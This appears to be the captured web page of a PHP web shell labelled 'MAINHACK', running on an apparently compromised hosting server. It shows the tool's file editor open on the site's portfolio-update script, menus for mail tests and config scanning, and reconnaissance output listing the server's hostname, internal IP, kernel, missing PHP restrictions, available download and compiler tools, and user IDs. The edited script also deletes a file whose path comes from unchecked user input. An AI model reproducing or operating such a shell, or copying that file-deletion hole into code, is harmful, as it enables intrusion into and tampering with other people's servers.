[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: update_portfolio1.php
<?php include("../settings/settings.php"); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Untitled Document</title> <script src="sweetalert-master/dist/sweetalert.min.js"></script> <link rel="stylesheet" type="text/css" href="sweetalert-master/dist/sweetalert.css"> </head> <?php if($_POST) { $allowed = ["web_type","web_name","web_url"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } if(file_exists($_FILES['screen_shot']['tmp_name']) || is_uploaded_file($_FILES['screen_shot']['tmp_name'])) { $screen_shot1=htmlentities(strip_tags($_POST['screen_shot1'])); $path="../assets/img/".$screen_shot1; unlink($path); $setStr .= "`screen_shot` = :screen_shot,"; $img=$show->imageEdit($_FILES['screen_shot']['name']); move_uploaded_file($_FILES['screen_shot']['tmp_name'],"../assets/img/".$img); $params['screen_shot'] =$img; } $setStr = rtrim($setStr, ","); $params['id'] =$_POST['id']; $show->table ='portfolio'; $show->cols =$setStr; $show->id_name ='id'; $show->params =$params; $r=$show->update_all(); if($r!=0) { echo "<script> sweetAlert('Good Job', 'Portfolio Updated', 'success');</script>"; echo"<script>window.location.href='all_porfolio.php';</script>"; } } ?> <body> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.75 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619